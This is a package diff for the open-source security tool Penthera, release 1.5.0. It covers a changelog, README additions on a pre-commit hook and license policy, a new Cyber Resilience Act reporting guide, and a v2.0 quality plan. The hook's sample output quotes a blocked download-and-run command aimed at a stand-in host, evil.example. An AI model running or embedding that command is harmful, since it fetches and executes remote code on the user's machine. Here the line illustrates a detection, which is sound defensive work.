penthera 1.4.0 → 1.5.0

package/CHANGELOG.md

@@ -4,6 +4,63 @@ All notable changes to Penthera are documented here. Versioning follows [SemVer]
 
 ## [Unreleased]
 
+## [1.5.0] - 2026-10-19
+
+Blocks problems at commit time, adds license policy, and extends the EU
+evidence to the Cyber Resilience Act. The GitHub Action is now ready for the
+Marketplace as "Penthera Security Review". Penthera also has a clearer
+problem statement: open-source security for the apps and AI systems you ship.
+
+### Docs
+
+- Problem statement: "open-source security for the apps and AI systems you
+  ship", organised around three moments (before you deploy, what you build
+  with, after you ship). README, package, plugin, skill and repository
+  descriptions updated. Roadmap gains v1.6.0 "Before you deploy" (preview
+  deployment scanning, `penthera ship`) and v1.7.0 "After you ship"
+  (`penthera watch`). New `docs/plan.md` sets measurable quality gates to v2.0.
+
+### Added
+
+- **`penthera hook install|uninstall|run`**: a pre-commit hook that checks
+  staged content only (the git index): secrets and AI provider keys, the
+  `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
+  `.cursor/`, `.claude/` and `skills/`, and, when `package-lock.json` is staged,
+  the capability diff against HEAD plus the license policy for the packages the
+  commit adds. Blocks on high and critical by default; one line per finding with
+  a fix hint and a `penthera.suppress.json` id. An existing hook is kept as
+  `pre-commit.pre-penthera`, runs first, and is restored by `uninstall`. Refuses
+  to write into a `core.hooksPath` managed by husky or lefthook without `--force`.
+  `.pre-commit-hooks.yaml` for pre-commit.com. Configured by a new `hook`
+  section in `penthera.policy.json` (`blockOn`, `checks`, `ignore`)
+- **License policy**: `penthera deps --license-policy <preset|file>` and a
+  `licenses` section in `penthera.policy.json` (`preset`, `allow`, `deny`,
+  `allowPackages`, `unknown`). Presets `permissive`, `weak-copyleft-ok` and
+  `no-agpl`. A small SPDX expression parser handles `AND`/`OR`/`WITH`,
+  parentheses, `+` and `LicenseRef-`, and matches deprecated ids (`GPL-3.0`) to
+  their current form. Breaches and `UNLICENSED` are high; missing, custom and
+  non-SPDX licenses are medium. Findings use category `license`; the SPDX id
+  list is vendored (`lib/deps/spdx.json`). CycloneDX SBOM components now carry
+  their license
+- **CRA Article 14 reporting helper** (`penthera --cra-init cra.json`,
+  `penthera --cra cra.json`, `lib/compliance/cra.js`): for an actively exploited
+  vulnerability (24h early warning, 72h notification, final report 14 days after
+  a fix is available) or a severe incident (24h, 72h, final report one month
+  after the notification). Computes due dates in UTC and local time (hours
+  elapsed, days and months on the calendar, DST-safe), flags overdue and late
+  reports, drafts each report against Art. 14(2)/(4) with `NEEDS INPUT` for
+  missing facts, adds an Art. 14(8) user advisory, and can prefill the affected
+  component, purl and CVEs from a Penthera SBOM and scan JSON. NL profile names
+  NCSC-NL and the ENISA Single Reporting Platform. Drafts, not the official
+  form, not legal advice. Guide: `docs/compliance-cra.md`
+- **CycloneDX 1.6 AI-BOM** (`penthera --repo . --aibom aibom.cdx.json`,
+  `lib/whitebox/aibom.js`): AI SDK dependencies, model identifiers in code as
+  `machine-learning-model` components with `modelCard` and file:line evidence,
+  MCP servers as `services`, and Agent Skills and prompt files as hashed `data`
+  components. Offline. Tests validate the output against the official
+  CycloneDX 1.6 schema, vendored in `tests/fixtures/cyclonedx/` (new dev
+  dependency: `ajv`)
+
 ## [1.4.0] - 2026-10-19
 
 The biggest release so far, covering the v1.3.0 "AI toolchain" and v1.4.0

package/README.md

@@ -1,6 +1,6 @@
 <div align="center">
 
-<img src="assets/penthera-social.jpg" alt="Penthera: the routine work of a security team, on your own machine" width="840">
+<img src="assets/penthera-social.jpg" alt="Penthera: open-source security for the apps and AI systems you ship" width="840">
 
 <br/><br/>
 
@@ -20,30 +20,41 @@
 
 <div align="center">
 
-### The routine work of a security team, on your own machine.
+### Open-source security for the apps and AI systems you ship.
 
-**Penthera audits your app, your dependencies, and your AI tooling, fixes what it
-can, proves the fix, and writes the evidence. Offline, deterministic, free, and
-open source.**
+**Check it before you deploy. Vet what you build with. Keep watching after you
+ship. On your own machine, offline, and free.**
 
 </div>
 
 ---
 
-## What it does for you
+## The problem
+
+Teams now ship apps and AI agents faster than anyone can secure them. AI writes
+much of the code. AI pulls in the packages, MCP servers, and skills. And on most
+teams nobody does security full time. Attackers have noticed: 2025 and 2026
+brought self-spreading npm worms that hijacked AI coding tools, malicious MCP
+servers, poisoned agent skills, and leaked AI provider keys running up large bills.
+
+Commercial platforms answer this from the cloud, for a fee, often with an AI
+deciding what is malicious. **Penthera answers it on your machine, for free,
+with rules you can read.** Think of it as the open-source security team for
+teams that don't have one.
 
-Most small teams have no security engineer. Penthera covers the recurring work
-one would do, from a CLI or from inside Claude Code and Cursor:
+## What it does for you
 
-| The job | What Penthera does | Command |
-|---------|--------------------|---------|
-| **Test the app** | Black-box scan of a live URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and white-box scan of the repo (routes, trust boundaries, secrets including AI provider keys) | `penthera <url> --repo .` |
-| **Vet dependencies** | What every npm package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
-| **Guard installs** | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
-| **Review pull requests** | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
-| **Audit your AI tooling** | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
-| **Fix and verify** | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
-| **Report and prove** | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 readiness and incident drafts | `penthera <url> --audience auditor --evidence out/` |
+| | The job | What Penthera does | Command |
+|---|---------|--------------------|---------|
+| **Before you deploy** | Test the app | Scan your localhost or preview URL (TLS, headers, CORS, auth, JWT, IDOR, OAuth, OpenAPI, opt-in injection and fuzzing) and your repo (routes, trust boundaries, secrets including AI keys) | `penthera <url> --repo .` |
+| | Fix and verify | Deterministic fixes on a local branch, re-scanned to prove they worked, remembered so the next run is sharper. Never pushes | `penthera agent --loop` |
+| | Block it at commit time | Secrets, risky agent config, and dependency changes stopped before they are committed | `penthera hook install` |
+| **What you build with** | Vet dependencies | What every package can actually do (install scripts, shell, network, env, obfuscation), what an upgrade added, lookalike names | `penthera deps --base main` |
+| | Guard installs | Shows what a new package brings before any install script runs, and stops it under your policy | `penthera install <pkg>` |
+| | Review pull requests | Comments the dependency capability diff on every PR that touches the lockfile | [GitHub Action](#use-as-a-github-action) |
+| | Audit your AI tooling | Skills, MCP servers, hooks, plugins, and rule files: hidden instructions, unpinned servers, over-broad permissions, silent updates | `penthera agents --home` |
+| **After you ship** | Report and prove | Reports for developers, owners, and auditors; a hashed, signable evidence bundle; NIS2 and CRA readiness and report drafts | `penthera <url> --audience auditor --evidence out/` |
+| | Keep watching | Scheduled checks of your own production for drift: certificates, headers, new endpoints, keys in bundles, new CVEs in your SBOM | *on the [roadmap](ROADMAP.md)* |
 
 What it is not: a human pentester, a 24/7 SOC, or incident response. It does the
 repeatable checks so the people you do have can spend their time on judgement.
@@ -110,26 +121,15 @@ wizard. See the [quick start](#quick-start).
 
 ---
 
-## Why Penthera
-
-You shipped something fast: vibecoded, AI-assisted, already live. The same models
-that helped you build it also make it easy for someone to probe it. Exposed API
-routes, missing security headers, weak auth, a hardcoded key in the repo, an AI
-provider key in the frontend bundle. Meanwhile the packages, skills, and MCP
-servers you pull in run with your credentials, and attackers know it: 2025 and
-2026 brought self-spreading npm worms, malicious MCP servers, and poisoned agent
-skills.
-
-Commercial platforms answer this from the cloud, for a fee, often with an AI
-judge deciding what is malicious. Penthera answers it on your machine, for free,
-with rules you can read.
+## Use it responsibly
 
 Penthera is for hardening systems you own. It is powerful, so please use it
 carefully. See [Ethical use](#ethical-use--authorization) and the [Disclaimer](#disclaimer).
 
 Shipping in the EU? Penthera also generates your
 [NIS2 readiness report, policy pack, incident-report drafts, SBOM, and prefilled
-customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving).
+customer security questionnaires](#compliance-nis2-and-the-cyberwetgeving), plus
+CRA Article 14 report drafts and an AI-BOM.
 Readiness tooling, not a certification.
 
 ### What you get
@@ -552,6 +552,111 @@ both. The one network use is npm talking to your configured registry, and
 Penthera prints which one; Penthera itself sends nothing. Workspaces and
 `file:` dependencies are not supported yet.
 
+### License policy
+
+```bash
+penthera deps --license-policy permissive        # or weak-copyleft-ok, no-agpl
+penthera deps --license-policy legal/policy.json # a file with a "licenses" section
+```
+
+Without the flag, `penthera deps` applies the `licenses` section of
+`penthera.policy.json` when there is one:
+
+```json
+{
+  "licenses": {
+    "preset": "permissive",
+    "allow": ["Python-2.0"],
+    "deny": ["WTFPL"],
+    "allowPackages": ["@acme/*", "sharp@0.33.5"],
+    "unknown": "warn"
+  }
+}
+```
+
+| Preset | Allows |
+|---|---|
+| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
+| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
+| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |
+
+Licenses come from the lockfile (npm records them in v2 and v3), else from
+the installed `package.json`. Expressions are parsed as SPDX:
+`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
+`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
+matched to their current form, so a deny of `AGPL-3.0-only` also catches a
+package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
+are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
+medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
+legal review has cleared. Findings use category `license` and appear in every
+output format, and `--sbom` now records each component's license.
+
+## Block it before it's committed
+
+Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs
+the checks that matter on what you are about to commit, and nothing else:
+
+```bash
+penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
+penthera hook run         # what the hook runs; try it on staged changes
+penthera hook uninstall   # removes it and puts your old hook back
+```
+
+On staged content only (the git index, not your working tree):
+
+- secrets and AI provider keys in staged files;
+- `penthera agents` rules on staged `.mcp.json`, `CLAUDE.md`, `AGENTS.md`,
+  `.cursor/`, `.claude/` and `skills/`;
+- when `package-lock.json` is staged, the capability diff against HEAD's
+  lockfile and the license policy, for the packages this commit adds.
+
+```
+  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)
+
+  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
+      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
+  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
+      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.
+
+  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
+    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
+  To skip the check for one commit: git commit --no-verify (the finding still ships)
+```
+
+It blocks on high and critical by default and takes about 0.1 to 0.5 s.
+Configure it in `penthera.policy.json`:
+
+```json
+{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
+            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
+```
+
+If husky or lefthook manage your hooks (`core.hooksPath` is set),
+`penthera hook install` says so instead of overwriting them. Add one line to
+that tool instead:
+
+```bash
+# husky
+echo "npx --no-install penthera hook run" >> .husky/pre-commit
+```
+
+```yaml
+# lefthook.yml
+pre-commit:
+  commands:
+    penthera:
+      run: npx --no-install penthera hook run
+```
+
+```yaml
+# .pre-commit-config.yaml (pre-commit.com)
+repos:
+  - repo: https://github.com/danoszz/penthera
+    rev: <tag or sha>
+    hooks:
+      - id: penthera
+```
+
 ---
 
 ## Compliance: NIS2 and the cyberwetgeving
@@ -569,11 +674,14 @@ helps with the paperwork around it. Offline, no accounts.
 | `--policy-pack ./policies` | Proportionate policy templates, prefilled from your gaps |
 | `--incident incident.json` | 24h / 72h / 1-month incident report drafts and deadlines |
 | `--sbom sbom.cdx.json` | CycloneDX software bill of materials |
+| `--cra cra.json` | CRA Article 14 drafts: 24h / 72h / 14-day or 1-month deadlines, overdue flags |
+| `--aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models in code, MCP servers, skills, prompts |
 | `--history history.json` | Time-to-fix, ageing, and drift across scans |
 | `--suppliers suppliers.txt` | Passive red/amber/green rating of your suppliers |
 
 **Full guide, the measure-by-measure coverage table, and the limits:**
-[docs/compliance-nis2.md](docs/compliance-nis2.md).
+[docs/compliance-nis2.md](docs/compliance-nis2.md). Cyber Resilience Act
+reporting and the AI-BOM: [docs/compliance-cra.md](docs/compliance-cra.md).
 
 > Readiness tooling, not a certification and not legal advice.
 
@@ -583,7 +691,7 @@ helps with the paperwork around it. Offline, no accounts.
 
 ```yaml
 # Scan a staging URL on a schedule and upload results to GitHub Security.
-- run: npx penthera@1.4.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
+- run: npx penthera@1.5.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
 - uses: github/codeql-action/upload-sarif@v4
   with:
     sarif_file: reports/scan.sarif

package/docs/compliance-cra.md

@@ -0,0 +1,141 @@
+# Compliance: the Cyber Resilience Act (CRA)
+
+Back to the [README](../README.md). NIS2 lives in
+[compliance-nis2.md](compliance-nis2.md).
+
+The Cyber Resilience Act, [Regulation (EU) 2024/2847](https://eur-lex.europa.eu/eli/reg/2024/2847/oj/eng),
+puts security duties on manufacturers of products with digital elements, which
+includes software you sell or make available in the EU. Most of it applies from
+11 December 2027. The reporting duty in **Article 14 has applied since
+11 September 2026** (Art. 71(2)), and it also covers products placed on the
+market before December 2027 (Art. 69(3)).
+
+Penthera helps with two pieces of CRA evidence, offline:
+
+| Command | What you get |
+|---------|--------------|
+| `--cra-init cra.json` then `--cra cra.json` | Article 14 timeline with real due dates, overdue flags, and drafts of every report |
+| `--repo . --aibom aibom.cdx.json` | CycloneDX 1.6 AI-BOM: AI SDKs, models referenced in code, MCP servers, skills, prompt files |
+
+Penthera does not make you CRA compliant and does not certify anything. The
+drafts are not the ENISA platform's official form, and none of this is legal
+advice.
+
+## Article 14 reporting helper
+
+### What the regulation asks
+
+Checked on 2026-10-19 against the Official Journal text and the
+[ENISA Single Reporting Platform (SRP) FAQ](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/frequently-asked-questions).
+
+| | Actively exploited vulnerability (Art. 14(1)-(2)) | Severe incident (Art. 14(3)-(5)) |
+|---|---|---|
+| Early warning | within 24 hours of becoming aware, with the Member States where the product is available | within 24 hours, including whether it is suspected to be caused by unlawful or malicious acts, plus Member States |
+| Notification | within 72 hours: the product, the general nature of the exploit and the vulnerability, corrective or mitigating measures taken and ones users can take, how sensitive the information is | within 72 hours: nature of the incident, an initial assessment, measures taken and ones users can take, sensitivity |
+| Final report | no later than **14 days after a corrective or mitigating measure is available**: description with severity and impact, any malicious actor, details of the security update | within **one month after the incident notification**: detailed description with severity and impact, type of threat or root cause, applied and ongoing mitigations |
+
+- **Where to send it.** Through the [ENISA Single Reporting Platform](https://portal.cra-srp.enisa.europa.eu/),
+  using the end-point of the CSIRT designated as coordinator in the Member State
+  of your main establishment. ENISA receives it at the same time (Art. 14(1),
+  14(3), 14(7)). For the Netherlands that CSIRT is **NCSC-NL**, per ENISA's
+  [list of CSIRTs designated as coordinators](https://www.enisa.europa.eu/topics/product-security/vulnerability-services/eu-incident-response-and-cyber-crisis-management/single-reporting-platform-srp/list-of-csirts-designated-as-coordinators).
+- **Inform your users.** After becoming aware, inform impacted users (and where
+  appropriate all users), with mitigations they can deploy, where appropriate
+  in a machine-readable format (Art. 14(8)).
+- **One notification** per vulnerability or incident, even across subsidiaries
+  (ENISA SRP FAQ). The CSIRT may ask for an intermediate report (Art. 14(6)).
+- An *actively exploited vulnerability* is one with reliable evidence that a
+  malicious actor exploited it without the system owner's permission (Art. 3(42)).
+  An incident is *severe* if it can harm the availability, authenticity,
+  integrity or confidentiality of sensitive or important data or functions, or
+  can lead to malicious code in the product or a user's systems (Art. 14(5)).
+
+### Use it
+
+```bash
+penthera --cra-init cra.json   # set type ("vulnerability" or "incident") and aware_at
+penthera --cra cra.json        # writes cra-reports.md and prints the deadlines
+```
+
+`cra-reports.md` holds the timeline (UTC and your local time), a status per
+report (`due in 21h 30m`, `submitted`, `submitted late`, `OVERDUE`,
+`waiting for a fix`), a draft of each report with `NEEDS INPUT` for every fact
+still missing, and a draft user advisory for Art. 14(8). Record what you've sent
+in `submitted.early_warning` / `submitted.notification` / `submitted.final_report`
+and re-run; for a severe incident the final report then counts from the real
+submission time instead of the 72-hour deadline.
+
+**Prefill from your scan and SBOM.** Name the affected dependency in
+`component.name` and point `prefill` at Penthera output (paths relative to
+`cra.json`):
+
+```json
+{
+  "type": "vulnerability",
+  "aware_at": "2026-10-24T09:00:00+02:00",
+  "component": { "name": "jquery" },
+  "prefill": { "scan": "scan.json", "sbom": "sbom.cdx.json" }
+}
+```
+
+```bash
+penthera https://staging.example.com --repo . --sbom sbom.cdx.json -o scan.json
+```
+
+From the SBOM it fills the product name and version and the component's version
+and purl; from the scan, matching CVE ids, the scanner severity, and the finding
+titles. Prefilled values are marked *verify* in the draft, and anything you wrote
+yourself is never overwritten. A full example lives in `tests/fixtures/cra/`.
+
+### How the deadlines are counted
+
+- **Hours are elapsed hours** from `aware_at`. If the clocks change in between,
+  the local due time shifts (24 hours from 09:00 CEST on 24 October 2026 is
+  08:00 CET on 25 October).
+- **Days and months are calendar periods** in your `timezone` (default
+  `Europe/Amsterdam`), ending at the same clock time. One month from 31 January
+  ends on 28 (or 29) February, following
+  [Regulation 1182/71](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:31971R1182) Art. 3(2)(c).
+- A timestamp without an offset is read in `timezone`. Use ISO 8601.
+- This is the **strict reading**. Regulation 1182/71 can give a little more
+  time (a period runs to the end of the hour or day, and a days or months period
+  that ends on a weekend or public holiday moves to the next working day).
+  Don't plan on that; report early.
+
+The helper warns if `aware_at` is before 11 September 2026, if
+`main_establishment` is not the Netherlands (so NCSC-NL is not your CSIRT), and
+if the type or time zone is unknown.
+
+## AI-BOM (CycloneDX 1.6)
+
+Customers and auditors increasingly ask what AI a product contains: which
+providers get your data, which models, which agent tooling. `--aibom`
+inventories it from the repo, offline:
+
+```bash
+penthera --repo . --aibom aibom.cdx.json
+```
+
+| Found | How | CycloneDX |
+|-------|-----|-----------|
+| AI SDKs: `openai`, `@anthropic-ai/sdk`, `@google/genai`, `ai` / `@ai-sdk/*`, `langchain` / `@langchain/*`, `llamaindex`, `ollama`, `@huggingface/transformers`; on PyPI `anthropic`, `transformers`, `torch`, `langchain-*`, `llama-index-*`, `litellm`, `mcp` and others | lockfile, `package.json`, `requirements.txt`, `pyproject.toml` | `library` with purl |
+| Models: `claude-*`, `gpt-*`, `o3`, `text-embedding-*`, `gemini-*`, `gemma*`, `llama*`, `mistral-*`, `deepseek-*`, `qwen*`, `phi-*`, `grok-*`, Hugging Face ids (`meta-llama/Llama-3.1-8B-Instruct`) | whole string literals in code and `model:` keys in YAML/TOML; HF ids only for known orgs or next to a loader call | `machine-learning-model` with supplier, `modelCard` stub, `evidence.occurrences` (file and line) |
+| MCP servers | `lib/agents/discover.js` (`.mcp.json`, `.cursor/`, `.vscode/mcp.json`, ...) | `services` with transport, package, endpoint and trust boundary; env var *names* only, never values or args |
+| Agent Skills | `SKILL.md` folders | `data` with SHA-256 |
+| Prompt files | `*.prompt`, `*.prompty`, `*.prompt.md`, anything under a `prompts/` folder | `data` with SHA-256 |
+
+Every item hangs off the root component in `dependencies`. The BOM is only the
+AI slice; use `--sbom` for all dependencies.
+
+Spec references: the [CycloneDX 1.6 JSON reference](https://cyclonedx.org/docs/1.6/json/),
+the [ML-BOM capability page](https://cyclonedx.org/capabilities/mlbom/), and the
+[official schema](https://github.com/CycloneDX/specification/blob/master/schema/bom-1.6.schema.json).
+That schema (with its SPDX and JSF dependencies) is vendored in
+`tests/fixtures/cyclonedx/`, and the tests validate every generated AI-BOM
+against it without network. Penthera emits 1.6 (ML-BOM first appeared in 1.5);
+CycloneDX 1.7 is also published and is a later upgrade.
+
+**Limits.** A model string in code means the model is referenced, not that it
+runs in production; the evidence lines let a reviewer check. Model ids built at
+runtime (`` `claude-${tier}` ``) are not detected. The `modelCard` is a stub:
+fill in task, datasets and considerations from the provider's model card.

package/docs/compliance-nis2.md

@@ -1,6 +1,8 @@
 # Compliance: NIS2 and the cyberwetgeving
 
-Back to the [README](../README.md).
+Back to the [README](../README.md). Shipping a product? The Cyber Resilience
+Act's Article 14 reporting helper and the AI-BOM are in
+[compliance-cra.md](compliance-cra.md).
 
 The EU NIS2 directive and its national transpositions (the Cyberbeveiligingswet
 in the Netherlands, the NIS2-wet in Belgium) put a duty of care, the *zorgplicht*,

package/docs/examples/github-actions-scan.yml

@@ -34,7 +34,7 @@ jobs:
         run: |
           mkdir -p reports
           set +e
-          npx --yes penthera@1.4.0 "$PENTEST_URL" \
+          npx --yes penthera@1.5.0 "$PENTEST_URL" \
             --profile standard \
             -o reports/scan.json \
             --sarif reports/scan.sarif

package/docs/index.md

@@ -1,6 +1,6 @@
 # Penthera documentation
 
-The routine work of a security team, on your own machine: app scanning, dependency and install checks, an AI-tooling audit, a local fix loop, and auditor-grade reports. Offline, deterministic, free.
+Open-source security for the apps and AI systems you ship: check it before you deploy, vet what you build with, keep watching after you ship. Offline, deterministic, free.
 
 ## Getting started
 
@@ -9,7 +9,7 @@ The routine work of a security team, on your own machine: app scanning, dependen
 | [README](../README.md) | Install, quick start, ethical use |
 | [Run it](../README.md#run-it) | Install + first-time wizard (`penthera` with no args) |
 | [CHANGELOG](../CHANGELOG.md) | Version history |
-| [Roadmap](../ROADMAP.md) and [release plan](./release-plan.md) | What ships next, in what order |
+| [Roadmap](../ROADMAP.md), [plan to v2.0](./plan.md) and [release plan](./release-plan.md) | What ships next, in what order, and how quality is measured |
 
 ## Scanning
 

package/docs/plan.md

@@ -0,0 +1,100 @@
+# Plan to v2.0
+
+How Penthera gets from "many features, shipped fast" to a tool a team can rely
+on without thinking about it. Written 2026-10-19. The [roadmap](../ROADMAP.md)
+says *what* ships; this says *how well*, and in what order.
+
+Penthera is maintained part-time alongside a PhD, so the plan is built around
+small, finishable pieces and automation that keeps quality from depending on
+anyone's free evenings.
+
+## The problem we solve
+
+Teams ship apps and AI agents faster than anyone can secure them. Penthera is
+the open-source security team for teams that don't have one, in three moments:
+
+1. **Before you deploy.** Test the app on localhost or a preview URL, fix what
+   it finds on a local branch, and prove the fix.
+2. **What you build with.** Vet dependencies, installs, and AI tooling (skills,
+   MCP servers, hooks) before they get access to your machine and credentials.
+3. **After you ship.** Keep watching your own production for drift, and produce
+   the reports and evidence that customers and regulators ask for.
+
+All of it local, deterministic, and free. Anything that doesn't serve one of
+these three moments is out of scope.
+
+## Milestones
+
+| Release | Theme | Done when |
+|---------|-------|-----------|
+| v1.5.0 | AI apps and compliance | Pre-commit hook, license policy, CRA helper, AI-BOM, signed rule packs, Python `deps`, dashboard, internal audit all merged and passing the audit |
+| v1.6.0 | Before you deploy | `penthera ship` and preview-deployment scanning work on a real Vercel and Netlify project |
+| v1.7.0 | After you ship | `penthera watch` runs weekly on three real production apps for a month without a false alarm anyone complained about |
+| v2.0.0 | Stable | Public interfaces frozen (CLI flags, JSON report schema, policy file, rule-pack format), documented, and covered by compatibility tests |
+
+## What "perfect" means, concretely
+
+Quality is measured, not felt. Each item below has a gate that the internal
+audit (`npm run audit:internal`) or CI checks automatically.
+
+### 1. Accuracy
+- Benchmark precision and recall never drop between releases (the audit fails
+  on a drop of more than 0.02).
+- Expand the benchmark beyond the mock server: OWASP Juice Shop, crAPI, a
+  deliberately vulnerable Next.js app, and fixture sets for `agents` and `deps`.
+- Every false positive reported by a user becomes a regression test before it
+  is fixed.
+
+### 2. First-run experience
+- From `npx penthera` to a useful result in under two minutes on a fresh Next.js
+  or Express app, measured on a clean machine each release.
+- Every error message says what happened and what to do next. No stack traces
+  for expected failures.
+- Works on macOS, Linux, and Windows (add a Windows CI job; the symlinked Cursor
+  skill and path handling are the known risks).
+
+### 3. Documentation
+- The README stays a front page: problem, what it does, install, trust. Feature
+  detail moves into a docs site (`docs/`), one page per command, each with a
+  copy-paste example and its real output.
+- Every command's `--help` and its docs page are generated from or tested
+  against the same source, so they never drift.
+
+### 4. Stability of interfaces
+- A versioned JSON schema for reports, the policy file, and rule packs, checked
+  in CI.
+- A deprecation policy: one minor release of warnings before anything breaks.
+
+### 5. Security of Penthera itself
+- Self-scan clean on every release (`--repo`, `agents`, `deps`, the dashboard).
+- Anything that parses untrusted input (packages, configs, scan responses, rule
+  packs) has a fuzz or hostile-input test. The ReDoS fixed in `deps` is the
+  reason why.
+- An external review before v2.0: ask an academic security group or a volunteer
+  from the OWASP community to look at the fix loop, the install firewall, and
+  the dashboard, the three parts that write files or run commands.
+
+### 6. Real-world proof
+- Three pilot projects (friendly teams, a student project, one of the
+  maintainer's own) run Penthera before each deploy for a month. Their feedback
+  sets the priorities for the next release.
+- Publish what Penthera found and fixed, with permission, as short case studies.
+
+## Working rhythm
+
+- One release every two to three weeks, each with a single theme.
+- The internal audit runs weekly and before every tag; a red audit blocks the
+  release.
+- Issues labelled `good first issue` are kept stocked (three to five open at a
+  time), so contributors can help without needing the maintainer's time.
+- Anything that needs judgement (a new probe that sends payloads, anything
+  touching third parties) gets a short design note in `docs/` before code.
+
+## Explicitly not doing
+
+- A hosted service, telemetry, or an update channel that fetches rules at run
+  time.
+- Offensive tooling for targets the user does not own, and attack-payload
+  generation for AI systems.
+- An LLM as the judge of what is malicious. Models may help write fixes,
+  locally, and always labelled as such.